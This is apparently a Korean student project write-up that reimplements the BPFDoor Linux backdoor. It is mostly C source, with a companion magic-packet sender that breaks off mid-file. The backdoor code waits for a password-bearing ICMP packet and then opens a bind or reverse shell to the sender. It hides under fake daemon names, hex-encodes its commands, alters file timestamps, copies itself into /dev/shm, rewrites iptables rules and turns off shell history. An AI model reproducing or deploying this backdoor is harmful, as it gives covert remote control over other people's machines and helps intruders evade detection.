프로젝트 과정 정리(BPFDoor)

▼ 목차

3. BPFDoor 분석 및 구현

3-1 bpfdoor.c

```
// 공격대상자에게 보냄
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/termios.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/prctl.h>
#include <libgen.h>
#include <sys/time.h>
```

```
#include <time.h>
#include <linux/types.h>
#include <linux/if_ether.h>
#include <linux/filter.h>
#include <errno.h>
#include <strings.h>

#ifndef PR_SET_NAME
#define PR_SET_NAME 15
#endif

extern char **environ;

#define __SID ('S' << 8)
#define I_PUSH (__SID | 2)

struct sniff_ip {
        unsigned char   ip_vhl;
        unsigned char   ip_tos;
        unsigned short int ip_len;
        unsigned short int ip_id;
        unsigned short int ip_off;
        #define IP_RF 0x8000
        #define IP_DF 0x4000
        #define IP_MF 0x2000
        #define IP_OFFMASK 0x1fff
        unsigned char   ip_ttl;
        unsigned char   ip_p;
        unsigned short int ip_sum;
        struct  in_addr ip_src,ip_dst;
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)  (((ip)->ip_vhl) >> 4)

typedef unsigned int tcp_seq;
struct sniff_tcp {
        unsigned short int th_sport;
        unsigned short int th_dport;
```

```
        tcp_seq th_seq;
        tcp_seq th_ack;
        unsigned char   th_offx2;
        #define TH_OFF(th) (((th)→th_offx2 & 0xf0) >> 4)
        unsigned char   th_flags;
        #define TH_FIN  0x01
        #define TH_SYN  0x02
        #define TH_RST  0x04
        #define TH_PUSH 0x08
        #define TH_ACK  0x10
        #define TH_URG  0x20
        #define TH_ECE  0x40
        #define TH_CWR  0x80
        #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_E
CE|TH_CWR)
        unsigned short int th_win;
        unsigned short int th_sum;
        unsigned short int th_urp;
} __attribute__ ((packed));

struct sniff_udp {
        uint16_t uh_sport;
        uint16_t uh_dport;
        uint16_t uh_ulen;
        uint16_t uh_sum;
} __attribute__ ((packed));

struct magic_packet{
        unsigned int    flag;
        in_addr_t       ip;
        unsigned short  port;
        char    pass[14];
} __attribute__ ((packed));

#ifndef uchar
#define uchar unsigned char
#endif
```

```
typedef struct {
        uchar   state[256];
        uchar   x, y;
} rc4_ctx;

extern char *ptsname(int);
extern int grantpt(int fd);
extern int unlockpt(int fd);
extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;

#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x0b

#define BUF 32768

struct  config {
        char    stime[4];
        char    etime[4];
        char    mask[512];
        char    pass[14];
        char    pass2[14];
} __attribute__ ((packed));

struct config cfg;
int     pty, tty;
int     godpid;
char pid_path[50];

int shell(int, char *, char *);
void getshell(char *ip, int);

char *argv0 = NULL;

rc4_ctx crypt_ctx, decrypt_ctx;

void xchg(uchar *a, uchar *b) {
```

```
	uchar	c = *a;
	*a = *b;
	*b = c;
}

void	rc4_init (uchar *key, int len, rc4_ctx *ctx) {
	uchar	index1, index2;
	uchar	*state = ctx→state;
	uchar	i;

	i = 0;
	do {
		state[i] = i;
		i++;
	} while (i);

	ctx→x = ctx→y = 0;
	index1 = index2 = 0;
	do {
		index2 = key[index1] + state[i] + index2;
		xchg(&state[i], &state[index2]);
		index1++;
		if (index1 >= len)
			index1 = 0;
		i++;
	} while (i);
}

void	rc4 (uchar *data, int len, rc4_ctx *ctx) {
	uchar	*state = ctx→state;
	uchar	x = ctx→x;
	uchar	y = ctx→y;
	int	i;

	for (i = 0; i < len; i++) {
		uchar xor;

		x++;
```

```
            y = state[x] + y;
            xchg(&state[x], &state[y]);

            xor = state[x] + state[y];
            data[i] ^= state[xor];
        }

        ctx->x = x;
        ctx->y = y;
}

int cwrite(int fd, void *buf, int count) {
        uchar    *tmp;
        int     ret;

        if (!count)
                return 0;
        tmp = malloc(count);
        if (!tmp)
                return 0;
        memcpy(tmp, buf, count);
        rc4(tmp, count, &crypt_ctx);
        ret = write(fd, tmp, count);
        free(tmp);
        return ret;
}

int cread(int fd, void *buf, int count) {
        int     i;

        if (!count)
                return 0;
        i = read(fd, buf, count);

        if (i > 0)
                rc4(buf, i, &decrypt_ctx);
        return i;
}
```

```
static void remove_pid(char *pp) {
	unlink(pp);
}

static void setup_time(char *file) {
	struct timeval tv[2];

	tv[0].tv_sec = 1225394236;
	tv[0].tv_usec = 0;

	tv[1].tv_sec = 1225394236;
	tv[1].tv_usec = 0;

	utimes(file, tv);
}

static void terminate(void) {
	if (getpid() == godpid)
		remove_pid(pid_path);

	_exit(EXIT_SUCCESS);
}

static void on_terminate(int signo) {
	terminate();
}

static void init_signal(void) {
	atexit(terminate);
	signal(SIGTERM, on_terminate);
	return;
}

void sig_child(int i) {
	signal(SIGCHLD, sig_child);
	waitpid(-1, NULL, WNOHANG);
}
```

```
int ptym_open(char *pts_name) {
	char *ptr;
	int fd;

	strcpy(pts_name,"/dev/ptmx");
	if ((fd = open(pts_name,O_RDWR)) < 0) {
		return -1;
	}

	if (grantpt(fd) < 0) {
		close(fd);
		return -2;
	}

	if (unlockpt(fd) < 0) {
		close(fd);
		return -3;
	}

	if ((ptr = ptsname(fd)) == NULL) {
		close(fd);
		return -4;
	}

	strcpy(pts_name,ptr);

	return fd;
}

int ptys_open(int fd,char *pts_name) {
	int fds;

	if ((fds = open(pts_name,O_RDWR)) < 0) {
		close(fd);
		return -5;
	}
```

```
        if (ioctl(fds,I_PUSH,"ptem") < 0) {
                return fds;
        }

        if (ioctl(fds,I_PUSH,"ldterm") < 0) {
        return fds;
        }

        if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
                return fds;
        }

        return fds;
}

int open_tty() {
        char pts_name[20];

        pty = ptym_open(pts_name);

        tty = ptys_open(pty,pts_name);

        if (pty >= 0 && tty >=0 )
                return 1;
        return 0;
}

int try_link(in_addr_t ip, unsigned short port) {
        struct sockaddr_in serv_addr;
        int sock;

        bzero(&serv_addr, sizeof(serv_addr));

        serv_addr.sin_addr.s_addr = ip;

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                return -1;
```

```
        }

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = port;

        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockadd
r)) == -1 ) {
                close(sock);
                return -1;
        }
        return sock;
}

int mon(in_addr_t ip, unsigned short port) {
        struct sockaddr_in remote;
        int      sock;
        int      s_len;

        bzero(&remote, sizeof(remote));
        if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
                return -1;
        }
        remote.sin_family = AF_INET;
        remote.sin_port   = port;
        remote.sin_addr.s_addr = ip;

        if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(st
ruct sockaddr))) < 0) {
                close(sock);
                return -1;
        }
        close(sock);
        return s_len;
}

int set_proc_name(int argc, char **argv, char *new) {
        size_t size = 0;
        int i;
```

```
        char *raw = NULL;
        char *last = NULL;

        argv0 = argv[0];

        for (i = 0; environ[i]; i++)
                size += strlen(environ[i]) + 1;

        raw = (char *) malloc(size);
        if (NULL == raw)
                return -1;

        for (i = 0; environ[i]; i++)
        {
                memcpy(raw, environ[i], strlen(environ[i]) + 1);
                environ[i] = raw;
                raw += strlen(environ[i]) + 1;
        }

        last = argv[0];

        for (i = 0; i < argc; i++)
                last += strlen(argv[i]) + 1;
        for (i = 0; environ[i]; i++)
                last += strlen(environ[i]) + 1;

        memset(argv0, 0x00, last - argv0);
        strncpy(argv0, new, last - argv0);

        prctl(PR_SET_NAME, (unsigned long) new);
        return 0;
}

int to_open(char *name, char *tmp) {
        char cmd[256] = {0};
        char fmt[] = {
                0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
                0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
```

```
            0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
            0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
            0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
            0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
            0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
            0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
            0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
            0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
            0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
            0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
            0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /d
ev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bi
n/rm -f /dev/shm/%s

        snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
        system(cmd);
        sleep(2);
        if (access(pid_path, R_OK) == 0)
                return 0;
        return 1;
}

int logon(const char *hash) {
        int x = 0;
        x = memcmp(cfg.pass, hash, strlen(cfg.pass));
        if (x == 0)
                return 0;
        x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
        if (x == 0)
                return 1;

        return 2;
}

void packet_loop() {
    int sock, r_len, pid, scli;
    uchar buff[512];
    struct magic_packet *mp = NULL;
```

```
    in_addr_t bip;

    printf("[DEBUG] Starting packet_loop with AF_INET ICMP socket\n");

    // AF_INET ICMP 소켓으로 변경
    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 1) {
        printf("[packet_loop] Failed to create raw socket.\n");
        perror("socket error");
        return;
    }

    printf("[DEBUG] Raw ICMP socket created successfully: %d\n", sock);
    printf("[DEBUG] Entering packet receive loop (waiting for ICMP packets)
\n");

    while (1) {
        memset(buff, 0, 512);
        r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);

        printf("[DEBUG] Received packet: %d bytes\n", r_len);

        if (r_len <= 28) { // IP헤더(20) + ICMP헤더(8) 최소 크기
            printf("[DEBUG] Packet too small, skipping\n");
            continue;
        }

        // 기존 구조체 사용 (struct sniff_ip)
        struct sniff_ip *ip = (struct sniff_ip *)buff;

        printf("[DEBUG] IP Protocol: %d\n", ip->ip_p);

        // ICMP 프로토콜인지 확인
        if (ip->ip_p != IPPROTO_ICMP) {
            printf("[DEBUG] Not ICMP protocol, skipping\n");
            continue;
        }

        printf("[packet_loop] ICMP packet detected.\n");
```

```
// IP 헤더 크기 계산 (기존 매크로 사용)
int size_ip = IP_HL(ip) * 4;
if (size_ip < 20) {
    printf("[DEBUG] Invalid IP header length: %d\n", size_ip);
    continue;
}

// ICMP 헤더 건너뛰고 magic_packet 위치 (8바이트)
mp = (struct magic_packet *)(buff + size_ip + 8);

printf("[DEBUG] Magic flag: 0x%x (expected: 0x7255)\n", mp->flag);

// Magic flag 확인
if (mp->flag != 0x7255) {
    printf("[DEBUG] Invalid magic flag, skipping\n");
    continue;
}

// magic packet이 올바르게 설정된 경우 처리
printf("[packet_loop] Magic packet pointer is set.\n");
printf("[packet_loop] === PACKET DETECTED ===\n");

// 디버그 정보 출력
printf("[DEBUG] Magic packet details:\n");
printf("[DEBUG] - Flag: 0x%x\n", mp->flag);
printf("[DEBUG] - IP: %s\n", inet_ntoa(*(struct in_addr*)&mp->ip));
printf("[DEBUG] - Port: %d\n", ntohs(mp->port));
printf("[DEBUG] - Password: %.13s\n", mp->pass);

if (mp->ip == INADDR_NONE || mp->ip == 0) {
    printf("[packet_loop] mp->ip == INADDR_NONE, using ip_src.\n");
    bip = ip->ip_src.s_addr;
} else {
    printf("[packet_loop] mp->ip is set, using mp->ip.\n");
    bip = mp->ip;
}
```

```
        // 기존 프로세스 처리 로직
        pid = fork();
        if (pid) {
            printf("[packet_loop] Parent after fork, waiting for child.\n");
            waitpid(pid, NULL, WNOHANG);
        } else {
            printf("[packet_loop] Child after fork, processing magic packet.\n");
            int cmp = 0;
            char sip[20] = {0};
            char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x
65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2
f, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x00};

            if (fork()) {
                printf("[packet_loop] Grandparent after fork, exiting.\n");
                exit(0);
            }

            printf("[packet_loop] Grandchild after fork, setting up shell.\n");
            chdir("/");
            setsid();
            signal(SIGHUP, SIG_DFL);
            memset(argv0, 0, strlen(argv0));
            strcpy(argv0, pname);
            prctl(PR_SET_NAME, (unsigned long) pname);

            rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
            rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
            cmp = logon(mp->pass);
            printf("[packet_loop] logon result: %d\n", cmp);

            switch(cmp) {
                case 1:
                    printf("[packet_loop] logon == 1, getshell() called.\n");
                    strcpy(sip, inet_ntoa(ip->ip_src));
                    getshell(sip, ntohs(mp->port));
                    break;
                case 0:
```

```
                printf("[packet_loop] logon == 0, try_link() and shell() calle
d.\n");
                scli = try_link(bip, mp→port);
                if (scli > 0) {
                   printf("[packet_loop] try_link succeeded, shell() called.\n");
                   shell(scli, NULL, NULL);
                } else {
                   printf("[packet_loop] try_link failed.\n");
                }
                break;
             case 2:
                printf("[packet_loop] logon == 2, mon() called.\n");
                mon(bip, mp→port);
                break;
             default:
                printf("[packet_loop] logon unknown result.\n");
                break;
          }
          exit(0);
       }
    }
    close(sock);
}


int b(int *p) {
        int port;
        struct sockaddr_in my_addr;
        int sock_fd;
        int flag = 1;

        if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ) {
                return -1;
        }

        setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeo
f(flag));
```

```
	my_addr.sin_family = AF_INET;
	my_addr.sin_addr.s_addr = 0;

	for (port = 42391; port < 43391; port++) {
		my_addr.sin_port = htons(port);
		if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockad
dr)) == -1 ){
			continue;
		}
		if( listen(sock_fd,1) == 0 ) {
			*p = port;
			return sock_fd;
		}
		close(sock_fd);
	}
	return -1;
}

int w(int sock) {
	socklen_t size;
	struct sockaddr_in remote_addr;
	int sock_id;

	size = sizeof(struct sockaddr_in);
	if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) ==
-1 ) {
		return -1;
	}

	close(sock);
	return sock_id;

}

void getshell(char *ip, int fromport) {
	int  sock, sockfd, toport;
	char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
	char cmdfmt[] = {
```

```
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
0x62, 0x6c,
                0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20,
0x2d, 0x41,
                0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4
e, 0x47, 0x20,
                0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x2
0, 0x25, 0x73,
                0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25,
0x64, 0x20,
                0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x4
3, 0x54, 0x20,
                0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73,
0x20, 0x25,
                0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -
s %s --dport %d -j REDIRECT --to-ports %d
        char rcmdfmt[] = {
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
0x62, 0x6c,
                0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20,
0x2d, 0x44,
                0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4
e, 0x47, 0x20,
                0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x2
0, 0x25, 0x73,
                0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25,
0x64, 0x20,
                0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x4
3, 0x54, 0x20,
                0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73,
0x20, 0x25,
                0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -
s %s --dport %d -j REDIRECT --to-ports %d
        char inputfmt[] = {
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
0x62, 0x6c,
                0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x5
5, 0x54, 0x20,
```

```
                0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x2
0, 0x25, 0x73,
                0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x5
4, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
        char dinputfmt[] = {
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
0x62, 0x6c,
                0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x5
5, 0x54, 0x20,
                0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x2
0, 0x25, 0x73,
                0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x5
4, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT

        sockfd = b(&toport); // looks like it selects random ephemral port here
        if (sockfd == -1) return;

        snprintf(cmd, sizeof(cmd), inputfmt, ip);
        snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
        system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCE
PT
        sleep(1);
        memset(cmd, 0, sizeof(cmd));
        snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
        snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
        system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp
-s %s --dport %d -j REDIRECT --to-ports %d
        sleep(1);
        sock = w(sockfd); // creates a sock that listens on port specified earlie
r
        if( sock < 0 ) {
                close(sock);
                return;
        }

        //
        // passes sock and
        // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %
```

```
d -j REDIRECT --to-ports %d
        // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
        //
        //

        shell(sock, rcmd, dcmd);
        close(sock);
}

int shell(int sock, char *rcmd, char *dcmd) {
        int subshell;
        fd_set fds;
        char buf[BUF];
        char argx[] = {
                0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
                0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -
l -t fifo -u
        char *argvv[] = {argx, NULL, NULL};
        #define MAXENV 256
        #define ENVLEN 256
        char *envp[MAXENV];
        char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/s
h
        int ret;
        char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70,
0x00}; // HOME=/tmp
        char ps[] = {
                0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x2
0,
                0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h
\W]\\$
        char histfile[] = {
                0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x
64,
                0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/d
ev/null
        char mshist[] = {
                0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x4
```

```
6,
        0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x7
5,
        0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
    char ipath[] = {
        0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
        0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x6
5,
        0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
        0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x7
3,
        0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3
a,
        0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
        0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x7
3,
        0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
        0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
        0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2
e,
        0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/
usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X
11R6/bin:./bin
    char term[] = "vt100";

    envp[0] = home;
    envp[1] = ps;
    envp[2] = histfile;
    envp[3] = mshist;
    envp[4] = ipath;
    envp[5] = term;
    envp[6] = NULL;

    if (rcmd != NULL)
        system(rcmd);
    if (dcmd != NULL)
        system(dcmd);
```

```
        write(sock, "3458", 4);
        // if (!open_tty()) {
        //         if (!fork()) {
        //                 dup2(sock, 0);
        //                 dup2(sock, 1);
        //                 dup2(sock, 2);
        //                 execve(sh, argvv, envp);
        //         }
        //         close(sock);
        //         return 0;
        // }
        // if (1) {
                if (!fork()) {
                        dup2(sock, 0);
                        dup2(sock, 1);
                        dup2(sock, 2);
                        execve(sh, argvv, envp);
                }
                close(sock);
                return 0;
        // }

        subshell = fork();
        if (subshell == 0) {
                close(pty);
                ioctl(tty, TIOCSCTTY);
                close(sock);
                dup2(tty, 0);
                dup2(tty, 1);
                dup2(tty, 2);
                close(tty);
                execve(sh, argvv, envp);
        }
        close(tty);

        while (1) {
                FD_ZERO(&fds);
                FD_SET(pty, &fds);
```

```
        FD_SET(sock, &fds);
        if (select((pty > sock) ? (pty+1) : (sock+1),
                &fds, NULL, NULL, NULL) < 0)
        {
                break;
        }
        if (FD_ISSET(pty, &fds)) {
                int count;
                count = read(pty, buf, BUF);
                if (count <= 0) break;
                // if (cwrite(sock, buf, count) <= 0) break;
                if (write(sock, buf, count) <= 0) break;        // 일반 write 사용
        }
        if (FD_ISSET(sock, &fds)) {
                int count;
                unsigned char *p, *d;
                d = (unsigned char *)buf;
                // count = cread(sock, buf, BUF);       // 일반 read 사용
                count = read(sock, buf, BUF);
                if (count <= 0) break;

                p = memchr(buf, ECHAR, count);
                if (p) {
                        unsigned char wb[5];
                        int rlen = count - ((long) p - (long) buf);
                        struct winsize ws;

                        if (rlen > 5) rlen = 5;
                        memcpy(wb, p, rlen);
                        if (rlen < 5) {
                                // ret = cread(sock, &wb[rlen], 5 - rlen);
                                ret = read(sock, &wb[rlen], 5 - rlen);
                        }

                        ws.ws_xpixel = ws.ws_ypixel = 0;
                        ws.ws_col = (wb[1] << 8) + wb[2];
                        ws.ws_row = (wb[3] << 8) + wb[4];
                        ioctl(pty, TIOCSWINSZ, &ws);
```

```
                        kill(0, SIGWINCH);

                        ret = write(pty, buf, (long) p - (long) buf);
                        rlen = ((long) buf + count) - ((long)p+5);
                        if (rlen > 0) ret = write(pty, p+5, rlen);
                    } else
                        if (write(pty, d, count) <= 0) break;
                }
        }
        close(sock);
        close(pty);
        waitpid(subshell, NULL, 0);
        vhangup();
        exit(0);
}

int main(int argc, char *argv[]) {
    char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x
6e, 0x00}; // justforfun
    char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
    char *self[] = {
        "/sbin/udevd -d",
        "/sbin/mingetty /dev/tty7",
        "/usr/sbin/console-kit-daemon --no-daemon",
        "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
        "dbus-daemon --system",
        "hald-runner",
        "pickup -l -t fifo -u",
        "avahi-daemon: chroot helper",
        "/sbin/auditd -n",
        "/usr/lib/systemd/systemd-journald"
    };

    pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
    pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
    pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
    pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
    pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
```

```
    pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
    pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
    pid_path[21] = 0x00; // /var/run/haldrund.pid

    if (access(pid_path, R_OK) == 0) {
        printf("[main] PID file exists, exiting.\n");
        exit(0);
    }

//     if (getuid() != 0) {
//         printf("[main] Not running as root, exiting.\n");
//         return 0;
//     }

    if (argc == 1) {
        printf("[main] argc == 1, running to_open.\n");
        if (to_open(argv[0], "kdmtmpflush") == 0) {
            printf("[main] to_open returned 0, exiting.\n");
            _exit(0);
        }
        printf("[main] to_open returned non-zero, exiting with -1.\n");
        _exit(-1);
    }

    printf("[main] Initializing config struct.\n");
    bzero(&cfg, sizeof(cfg));

    srand((unsigned)time(NULL));
    strcpy(cfg.mask, self[rand()%10]);
    strcpy(cfg.pass, hash);
    strcpy(cfg.pass2, hash2);

    printf("[main] Setting up time.\n");
    setup_time(argv[0]);

    printf("[main] Setting process name.\n");
    set_proc_name(argc, argv, cfg.mask);
```

```
//     printf("[main] Forking process.\n");
//     if (fork()) {
//         printf("[main] Parent process exiting after fork.\n");
//         exit(0);
//     }
    printf("[main] Initializing signals.\n");
    init_signal();
    signal(SIGCHLD, sig_child);
    godpid = getpid();

    printf("[main] Creating PID file.\n");
    close(open(pid_path, O_CREAT|O_WRONLY, 0644));

    signal(SIGCHLD,SIG_IGN);
    setsid();

    printf("Succes\n");
    printf("[main] Entering packet_loop.\n");
    packet_loop();
    return 0;
}
```

3-2 magic_packet.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <sys/socket.h>

// Define the magic_packet struct as in bpfdoor
struct magic_packet {
    unsigned int flag;
    in_addr_t ip;
    unsigned short port;
```

```
    char pass[14];
} __attribute__((packed));

// ICMP checksum calculation
unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char*)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

int main(int argc, char *argv[]) {
    if (argc != 5) {
        printf("Usage: %s <target_ip> <magic_ip> <magic_port> <magic_pass
>\n", argv[0]);
        return 1;
    }

    const char *target_ip = argv[1];
    in_addr_t magic_ip = inet_addr(argv[2]);
    unsigned short magic_port = htons(atoi(argv[3]));
    char magic_pass[14] = {0};
    strncpy(magic_pass, argv[4], 13);

    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd < 0) {
        perror("socket");
        return 1;
    }
```

```
    // Build ICMP packet
    char packet[sizeof(struct icmphdr) + sizeof(struct magic_packet)];
    memset(packet, 0, sizeof(packet));

    struct icmphdr *icmp = (struct icmphdr *)packet;
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->un.echo.id = htons(1234);
    icmp->un.echo.sequence = htons(1);

    struct magic_packet *mp = (struct magic_packet *)(packet + sizeof(struc
t icmphdr));
    mp->flag = 0x7255; // Example flag value, adjust as needed
    mp->ip = magic_ip;
    mp->port = magic_port;
